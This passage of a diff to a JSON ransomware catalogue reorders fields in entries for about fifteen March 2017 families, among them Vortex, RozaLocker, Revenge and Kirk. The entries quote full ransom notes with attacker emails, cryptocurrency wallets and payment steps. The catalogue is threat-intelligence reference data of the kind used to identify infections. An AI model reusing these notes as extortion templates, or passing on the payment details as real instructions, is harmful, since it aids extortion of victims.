"https://1.bp.blogspot.com/-yTOgGw5v_vo/WMBUGHN7bnI/AAAAAAAAELY/8DDyxB4pSWgje_-iVbXgy2agNty1X6D6ACLcB/s1600/C6TUfkZWAAEewi_.jpg"
],
- "encryption": "AES-128",
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html"
+ ]
},
- "description": "About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Kaenlupuf Ransomware",
- "uuid": "b97f07c4-136a-488a-9fa0-35ab45fbfe36"
+ "uuid": "b97f07c4-136a-488a-9fa0-35ab45fbfe36",
+ "value": "Kaenlupuf Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-10th-2017-spora-cerber-and-technical-writeups/",
- "https://www.bleepingcomputer.com/news/security/embittered-enjey-ransomware-developer-launches-ddos-attack-on-id-ransomware/"
- ],
- "ransomnotes": [
- "https://2.bp.blogspot.com/-rkOR4L9jDZc/WMG1uI6vqQI/AAAAAAAAEMk/SAu_FleTLHcagf_maS31xt3D_qnwAx2RQCLcB/s1600/note-enjey_2.png"
- ],
+ "date": "March 2017",
"encryption": "AES-256",
"extensions": [
"example:.encrypted.contact_here_me@india.com.enjey"
],
- "date": "March 2017"
+ "ransomnotes": [
+ "https://2.bp.blogspot.com/-rkOR4L9jDZc/WMG1uI6vqQI/AAAAAAAAEMk/SAu_FleTLHcagf_maS31xt3D_qnwAx2RQCLcB/s1600/note-enjey_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-10th-2017-spora-cerber-and-technical-writeups/",
+ "https://www.bleepingcomputer.com/news/security/embittered-enjey-ransomware-developer-launches-ddos-attack-on-id-ransomware/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "EnjeyCrypter Ransomware",
- "uuid": "e98e6b50-00fd-484e-a5c1-4b2363579447"
+ "uuid": "e98e6b50-00fd-484e-a5c1-4b2363579447",
+ "value": "EnjeyCrypter Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html"
- ],
+ "date": "March 2017",
+ "encryption": "AES-128",
"ransomnotes": [
"DANGEROUS_RANSOM\nHacked.\nPlease contact\nhakermail@someting.com"
],
- "encryption": "AES-128",
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Dangerous Ransomware",
- "uuid": "7dbdb949-a53b-4ebe-bc9a-7f49a7c5fd78"
+ "uuid": "7dbdb949-a53b-4ebe-bc9a-7f49a7c5fd78",
+ "value": "Dangerous Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Ŧl๏tєгค гคภร๏๓ฬคгє"
+ "date": "March 2017",
+ "extensions": [
+ ".aes"
+ ],
+ "ransomnotes": [
+ "Vortex Ransomware\nCan not find the files on the hard drive? The contents of the files do not open?This is the result of the work of the program, which encrypts a lot of your data with the help of a strong algorithm AES-256, used by power structures to mask the data transferred in electronic form.The only way to recover your files is to buy a decryption program from us, using a one-time key created for you!When you decide to restore your data, please contact us by e-mail: rsapl@openmailbox.org or poiskiransom@airmail.cc2 files will be decrypted in vain to prove that we can do it, for the others, unfortunately, have to pay!\nPrice for the decryption of all files: $ 199\nAttention! Do not waste your time,time is money, after 4 days the price will increase by 100%!\nIP = ID ="
],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/03/vortex-ransomware.html",
"https://twitter.com/struppigel/status/839778905091424260"
],
- "ransomnotes": [
- "Vortex Ransomware\nCan not find the files on the hard drive? The contents of the files do not open?This is the result of the work of the program, which encrypts a lot of your data with the help of a strong algorithm AES-256, used by power structures to mask the data transferred in electronic form.The only way to recover your files is to buy a decryption program from us, using a one-time key created for you!When you decide to restore your data, please contact us by e-mail: rsapl@openmailbox.org or poiskiransom@airmail.cc2 files will be decrypted in vain to prove that we can do it, for the others, unfortunately, have to pay!\nPrice for the decryption of all files: $ 199\nAttention! Do not waste your time,time is money, after 4 days the price will increase by 100%!\nIP = ID ="
- ],
- "extensions": [
- ".aes"
- ],
- "date": "March 2017"
+ "synonyms": [
+ "Ŧl๏tєгค гคภร๏๓ฬคгє"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Vortex Ransomware",
- "uuid": "04a5889d-b97d-4653-8a0f-d2df85f93430"
+ "uuid": "04a5889d-b97d-4653-8a0f-d2df85f93430",
+ "value": "Vortex Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-i4i0joM4qRk/WMO7sKLu4dI/AAAAAAAAENU/vLR4B1Xg39wduycHe2f0vEYSv_dtJ-gxwCLcB/s1600/note.jpg"
- ],
+ "date": "March 2017",
"encryption": "AES-128",
"extensions": [
".fuck_you"
],
- "date": "March 2017"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-i4i0joM4qRk/WMO7sKLu4dI/AAAAAAAAENU/vLR4B1Xg39wduycHe2f0vEYSv_dtJ-gxwCLcB/s1600/note.jpg"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "GC47 Ransomware",
- "uuid": "2069c483-4701-4a3b-bd51-3850c7aa59d2"
+ "uuid": "2069c483-4701-4a3b-bd51-3850c7aa59d2",
+ "value": "GC47 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. ",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html",
- "https://twitter.com/jiriatvirlab/status/840863070733885440"
- ],
- "ransomnotes": [
- "OUR FILES are encrypted (EVEN NOT LOOKING THAT THEY ARE PARTIALLY OPEN). WE HAVE YOUR LOGIN AND PASSWORD FROM THE ENTERTAINMENT, ONE-CLASSICS, ONLINE BANKS AND OTHERS.\nYOU HAVE 6 HOURS TO PAY FOR A PURCHASE FOR THEM, OTHERWISE WE SHOULD PUT INTO OPEN ACCESS!\nINSTRUCTION:\n1) Find 10 000 (10 thousand) rubles, not less. Suitable for the following - (Qiwi, Sberbank, Yandex.Money, Tinkoff Bank, VTB, but better Qiwi (faster)\n2) In the browser, open the site https://x-pay.cc/ - through this site you will transfer money\n3) In the column I DELETE where you will translate (according to item 1) and above enter the amount - 10,000 rubles.\n4) In the RIGHT I select Bitcoin and on top the amount should automatically be transferred tobtc\n5) In the column DATA ENTRY, fill in your requisites from where you will pay and where to transfer (Bitcoin wallet)\nATTENTION-ATTENTION,CORRECTly copy this number to a purse (yes, it's so strange)3FjtFZWjyj46UcfDY4AiUrEv7wLtyzZv5o After inserting, carefully, again check whether it is copied correctly.\n6) Click on GO TO PAY and follow the instructions on the site.\nIn a couple of hours we'll write you on the desktop and return everything to you.\nIf there are difficulties, then write on the mailbox - aoneder@mail.ru"
- ],
+ "date": "March 2017",
"encryption": "AES-128",
"extensions": [
".enc",
".ENC"
],
- "date": "March 2017"
+ "ransomnotes": [
+ "OUR FILES are encrypted (EVEN NOT LOOKING THAT THEY ARE PARTIALLY OPEN). WE HAVE YOUR LOGIN AND PASSWORD FROM THE ENTERTAINMENT, ONE-CLASSICS, ONLINE BANKS AND OTHERS.\nYOU HAVE 6 HOURS TO PAY FOR A PURCHASE FOR THEM, OTHERWISE WE SHOULD PUT INTO OPEN ACCESS!\nINSTRUCTION:\n1) Find 10 000 (10 thousand) rubles, not less. Suitable for the following - (Qiwi, Sberbank, Yandex.Money, Tinkoff Bank, VTB, but better Qiwi (faster)\n2) In the browser, open the site https://x-pay.cc/ - through this site you will transfer money\n3) In the column I DELETE where you will translate (according to item 1) and above enter the amount - 10,000 rubles.\n4) In the RIGHT I select Bitcoin and on top the amount should automatically be transferred tobtc\n5) In the column DATA ENTRY, fill in your requisites from where you will pay and where to transfer (Bitcoin wallet)\nATTENTION-ATTENTION,CORRECTly copy this number to a purse (yes, it's so strange)3FjtFZWjyj46UcfDY4AiUrEv7wLtyzZv5o After inserting, carefully, again check whether it is copied correctly.\n6) Click on GO TO PAY and follow the instructions on the site.\nIn a couple of hours we'll write you on the desktop and return everything to you.\nIf there are difficulties, then write on the mailbox - aoneder@mail.ru"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html",
+ "https://twitter.com/jiriatvirlab/status/840863070733885440"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. ",
- "value": "RozaLocker Ransomware",
- "uuid": "f158ea74-c8ba-4e5a-b07f-52bd8fe30888"
+ "uuid": "f158ea74-c8ba-4e5a-b07f-52bd8fe30888",
+ "value": "RozaLocker Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html"
- ],
- "ransomnotes": [
- "Blocked Your computer has been blocked All your files are encrypted. To access your PC, you need to send to Bitcoin at the address below loading Step 1: Go to xxxxs : //wvw.coinbase.com/ siqnup Step 2: Create an account and follow the instructions Step 3: Go to the \"Buy Bitcoins\" section and then buy Bitcoin Step 4: Go to the \"Send\" section, enter the address above and the amount (0.1 Bitcoin) Step 5: Click on the button below to verify the payment, your files will be decrypted and the virus will disappear 'Check' If you try to bypass the lock, all files will be published on the Internet, as well as your login for all sites."
- ],
+ "date": "March 2017",
"encryption": "AES-128",
"extensions": [
".enc"
],
- "date": "March 2017"
+ "ransomnotes": [
+ "Blocked Your computer has been blocked All your files are encrypted. To access your PC, you need to send to Bitcoin at the address below loading Step 1: Go to xxxxs : //wvw.coinbase.com/ siqnup Step 2: Create an account and follow the instructions Step 3: Go to the \"Buy Bitcoins\" section and then buy Bitcoin Step 4: Go to the \"Send\" section, enter the address above and the amount (0.1 Bitcoin) Step 5: Click on the button below to verify the payment, your files will be decrypted and the virus will disappear 'Check' If you try to bypass the lock, all files will be published on the Internet, as well as your login for all sites."
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CryptoMeister Ransomware",
- "uuid": "4c76c845-c5eb-472c-93a1-4178f86c319b"
+ "uuid": "4c76c845-c5eb-472c-93a1-4178f86c319b",
+ "value": "CryptoMeister Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html"
- ],
+ "date": "March 2017",
"encryption": "AES-128",
"extensions": [
".GG"
],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016",
- "value": "GG Ransomware",
- "uuid": "f62eb881-c6b5-470c-907d-072485cd5860"
+ "uuid": "f62eb881-c6b5-470c-907d-072485cd5860",
+ "value": "GG Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html"
+ "date": "March 2017",
+ "encryption": "AES-128",
+ "extensions": [
+ ".Project34"
],
"ransomnotes": [
"(TRANSLATED BY THE SITE EDITOR) YOUR FILES HAVE BEEN LOCKED WITH A PASSWORD TO GET THE PASSWORD WRITE TO US AT project34@india.com WE WILL RESPOND TO YOU WITHIN 20 HOURS IN A MESSAGE, SPECIFY YOUR IP ADDRESS. YOU CAN FIND OUT AT 2IP.RU",
"ПАРОЛЬ.txt"
],
- "encryption": "AES-128",
- "extensions": [
- ".Project34"
- ],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Project34 Ransomware",
- "uuid": "4af0d2bd-46da-44da-b17e-987f86957c1d"
+ "uuid": "4af0d2bd-46da-44da-b17e-987f86957c1d",
+ "value": "Project34 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
+ "date": "March 2017",
+ "encryption": "AES-128",
+ "ransomnotes": [
+ "https://1.bp.blogspot.com/-ZbWrN1LR-14/WMhPB7M8LBI/AAAAAAAAERQ/ZGG3RDHd8V0hwK_pf-vYChTn9VRpLBgNQCLcB/s1600/petya-based_ru_3.png"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/03/petrwrap-ransomware.html",
"https://www.bleepingcomputer.com/news/security/petrwrap-ransomware-is-a-petya-offspring-used-in-targeted-attacks/",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/",
"https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/"
- ],
- "ransomnotes": [
- "https://1.bp.blogspot.com/-ZbWrN1LR-14/WMhPB7M8LBI/AAAAAAAAERQ/ZGG3RDHd8V0hwK_pf-vYChTn9VRpLBgNQCLcB/s1600/petya-based_ru_3.png"
- ],
- "encryption": "AES-128",
- "date": "March 2017"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "PetrWrap Ransomware",
- "uuid": "e11da570-e38d-4290-8a2c-8a31ae832ffb"
+ "uuid": "e11da570-e38d-4290-8a2c-8a31ae832ffb",
+ "value": "PetrWrap Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/",
- "https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html",
- "https://twitter.com/malwrhunterteam/status/841747002438361089"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-OmuOKzLOHnw/WMl74fSSaJI/AAAAAAAAESg/4CsOYOSuUeEhsO4jSi6k10sbb_1NnfYxACLcB/s1600/lock-screen.jpg"
- ],
+ "date": "March 2017",
"encryption": "AES-128",
"extensions": [
".grt"
],
- "date": "March 2017"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-OmuOKzLOHnw/WMl74fSSaJI/AAAAAAAAESg/4CsOYOSuUeEhsO4jSi6k10sbb_1NnfYxACLcB/s1600/lock-screen.jpg"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/",
+ "https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html",
+ "https://twitter.com/malwrhunterteam/status/841747002438361089"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear",
- "value": "Karmen Ransomware",
- "uuid": "da7de60e-0725-498d-9a35-303ddb5bf60a"
+ "uuid": "da7de60e-0725-498d-9a35-303ddb5bf60a",
+ "value": "Karmen Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/",
- "https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html"
+ "date": "March 2017",
+ "encryption": "AES-256 + RSA-1024",
+ "extensions": [
+ ".REVENGE"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-KkPVDxjy8tk/WM7LtYHmuAI/AAAAAAAAEUw/kDJghaq-j1AZuqjzqk2Fkxpp4yr9Yeb5wCLcB/s1600/revenge-note-2.jpg",
"===ENGLISH=== All of your files were encrypted using REVENGE Ransomware. The action required to restore the files. Your files are not lost, they can be returned to their normal state by decoding them. The only way to do this is to get the software and your personal decryption key. Using any other software that claims to be able to recover your files will result in corrupted or destroyed files. You can purchase the software and the decryption key by sending us an email with your ID. And we send instructions for payment. After payment, you receive the software to return all files. For proof, we can decrypt one file for free. Attach it to an e-mail.",
"# !!!HELP_FILE!!! #.txt"
],
- "encryption": "AES-256 + RSA-1024",
- "extensions": [
- ".REVENGE"
- ],
- "date": "March 2017"
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/",
+ "https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant",
- "value": "Revenge Ransomware",
- "uuid": "987d36d5-6ba8-484d-9e0b-7324cc886b0e"
+ "uuid": "987d36d5-6ba8-484d-9e0b-7324cc886b0e",
+ "value": "Revenge Ransomware"
},
{
+ "description": "his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "synonyms": [
- "Fake CTB-Locker"
- ],
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html",
- "https://twitter.com/JakubKroustek/status/842034887397908480"
+ "date": "March 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".encrypted"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-ccU4txzjpWg/WMl33c7YD3I/AAAAAAAAESU/moLHgQnVMYstKuHKuNgWKz8VbNv5ECdzACLcB/s1600/lock-note.jpg",
"FILES NUMBERED Your local drives, network folders, your external drives are encrypted using 256-bit encryption technology, this means your files are encrypted with a key. They cannot be opened without buying a decryption program and a private key, after the purchase, our program decrypts all your files and they will work like before. If you do not buy the program within 24 hours, then all your files will be permanently deleted. See the \"My Documents\" folder for more information in the file \"Beni Oku.txt\". Contact address: d3crypt0r@lelantos.org BTC address: 13hp68keuvogyjhvlf7xqmeox8dpr8odx5 You have to pay at BTC to the above address $ 150 Bitcoin You can do this by purchasing Bitcoinat www.localbitcoins.co Information: Using a computer recovery does not help. Antivirus scanning does not help to recover files, but can lead to loss.",
"Beni Oku.txt"
],
- "encryption": "AES",
- "extensions": [
- ".encrypted"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html",
+ "https://twitter.com/JakubKroustek/status/842034887397908480"
],
- "date": "March 2017"
+ "synonyms": [
+ "Fake CTB-Locker"
+ ]
},
- "description": "his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Turkish FileEncryptor Ransomware",
- "uuid": "a291ac4c-7851-480f-b317-e977a616ac9d"
+ "uuid": "a291ac4c-7851-480f-b317-e977a616ac9d",
+ "value": "Turkish FileEncryptor Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Payments in Monero",
"meta": {
+ "date": "March 2017",
+ "encryption": "AES+RSA",
+ "extensions": [
+ ".kirked",
+ ".Kirked"
+ ],
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-USLFJX6OMD4/WMwmKIsJnEI/AAAAAAAAETQ/S8uzyHF5mWQZjra6EGBidZ6wqgzrNqIMgCLcB/s1600/full-ransom-note.png",
+ "!IMPORTANT ! READ CAREFULLY: Your computer has fallen victim to the Kirk malware and important files have been encrypted - locked up so they don't work. This may have broken some software, including games, office suites etc. Here's a list of some the file extensions that were targetted : *** There are an additional 441 file extensions that are targetted\n. They are mostly to do with games. To get your files back, you need to pay. Now. Payments\nrecieved more than 48 hours after the time of infection will be charged double. Further time penalties are listed below. The time of infection has been logged. Any files with the extensions listed above will now have the extra extension '.kirked\n', these files are encrypted using military grade encryption.In the place you ran this program from, you should find a note (named RANSOM_NOTE.txt) similar to this one.\nYou will also find a file named 'pwd' - this is your encrypted password file. Although it was generated by your computer, you have no way of ever decrypting it. This is due to the security of both the way it was generated and the way it was encrypted. Your files were encrypted using this password. SPOCK TO THE RESCUE!\n\"Logic, motherfucker.\" ~ Spock.\nDecrypting your files is easy. Take a deep breath and follow the steps below.1) Make the proper payment. Payments are made in Monero. This is a crypto-currency, like bitcoin. You can buy Monero, and send it, from the same places you can any othercrypto-currency. If you're still unsure, google' bitcoin exchange'. Sign up at one of these exchange sites and send the payment to the address below. Make note of the payment / transaction ID, or make one up if you have the option. Payment Address (Monero Wallet): 3000375 -199390 0 0 4AqSwfTexbNaHcn8giSJw3KPiWYHGBaCF9bdgPxvHbd5A8Q3Fc7n6FQCReEns8uEg8jUo4BeB79rwf4XSfQPVL1SKdVp2jz Prices: Days :Monero: Offer Expires\n 0-2 : 50 : 03/18/17 15:32:14\n 3-7 : 100 : 03/23/17 15:32:14\n 8-14 : 200 : 03/30/17 15:32:14\n 15-30 : 500 : 04/15/17 15:32:14 Note: In 31 days your password decryption key gets permanently deleted. You then have no way to ever retrieve your files. So pay now \n2) Email us Send your pwd file as an email attachment to one of the email addresses below. Include the payment ID from step 1. Active email addresses: kirk.help@scryptmail.com kirk.payments@scryptmail.com \n3) Decrypt your files. You will recieve your decrypted password file and a program called 'Spock'. Download these both to the same place and run Spock. Spock reads in your decrypted password file and uses it to decrypt all of the affected files on your computer. > IMPORTANT ! The password is unique to this infection. Using an old password or one from another machine will result in corrupted files. Corrupted files cannot be retrieved. Don't fuck around. \n4) Breathe. \nLIVE LONG AND PROSPER",
+ "RANSOM_NOTE.txt"
+ ],
"refs": [
"https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html",
"https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-17th-2017-revenge-petrwrap-and-captain-kirk/",
@@ -295,568 +312,556 @@
"http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges",
"https://www.grahamcluley.com/kirk-ransomware-sports-star-trek-themed-decryptor-little-known-crypto-currency/",
"https://www.virustotal.com/en/file/39a2201a88f10d81b220c973737f0becedab2e73426ab9923880fb0fb990c5cc/analysis/"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-USLFJX6OMD4/WMwmKIsJnEI/AAAAAAAAETQ/S8uzyHF5mWQZjra6EGBidZ6wqgzrNqIMgCLcB/s1600/full-ransom-note.png",
- "!IMPORTANT ! READ CAREFULLY: Your computer has fallen victim to the Kirk malware and important files have been encrypted - locked up so they don't work. This may have broken some software, including games, office suites etc. Here's a list of some the file extensions that were targetted : *** There are an additional 441 file extensions that are targetted\n. They are mostly to do with games. To get your files back, you need to pay. Now. Payments\nrecieved more than 48 hours after the time of infection will be charged double. Further time penalties are listed below. The time of infection has been logged. Any files with the extensions listed above will now have the extra extension '.kirked\n', these files are encrypted using military grade encryption.In the place you ran this program from, you should find a note (named RANSOM_NOTE.txt) similar to this one.\nYou will also find a file named 'pwd' - this is your encrypted password file. Although it was generated by your computer, you have no way of ever decrypting it. This is due to the security of both the way it was generated and the way it was encrypted. Your files were encrypted using this password. SPOCK TO THE RESCUE!\n\"Logic, motherfucker.\" ~ Spock.\nDecrypting your files is easy. Take a deep breath and follow the steps below.1) Make the proper payment. Payments are made in Monero. This is a crypto-currency, like bitcoin. You can buy Monero, and send it, from the same places you can any othercrypto-currency. If you're still unsure, google' bitcoin exchange'. Sign up at one of these exchange sites and send the payment to the address below. Make note of the payment / transaction ID, or make one up if you have the option. Payment Address (Monero Wallet): 3000375 -199390 0 0 4AqSwfTexbNaHcn8giSJw3KPiWYHGBaCF9bdgPxvHbd5A8Q3Fc7n6FQCReEns8uEg8jUo4BeB79rwf4XSfQPVL1SKdVp2jz Prices: Days :Monero: Offer Expires\n 0-2 : 50 : 03/18/17 15:32:14\n 3-7 : 100 : 03/23/17 15:32:14\n 8-14 : 200 : 03/30/17 15:32:14\n 15-30 : 500 : 04/15/17 15:32:14 Note: In 31 days your password decryption key gets permanently deleted. You then have no way to ever retrieve your files. So pay now \n2) Email us Send your pwd file as an email attachment to one of the email addresses below. Include the payment ID from step 1. Active email addresses: kirk.help@scryptmail.com kirk.payments@scryptmail.com \n3) Decrypt your files. You will recieve your decrypted password file and a program called 'Spock'. Download these both to the same place and run Spock. Spock reads in your decrypted password file and uses it to decrypt all of the affected files on your computer. > IMPORTANT ! The password is unique to this infection. Using an old password or one from another machine will result in corrupted files. Corrupted files cannot be retrieved. Don't fuck around. \n4) Breathe. \nLIVE LONG AND PROSPER",
- "RANSOM_NOTE.txt"
- ],
- "encryption": "AES+RSA",
- "extensions": [
- ".kirked",
- ".Kirked"
- ],
- "date": "March 2017"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Payments in Monero",
- "value": "Kirk Ransomware & Spock Decryptor",
- "uuid": "6e442a2e-97db-4a7b-b4a1-9abb4a7472d8"
+ "uuid": "6e442a2e-97db-4a7b-b4a1-9abb4a7472d8",
+ "value": "Kirk Ransomware & Spock Decryptor"
},
{
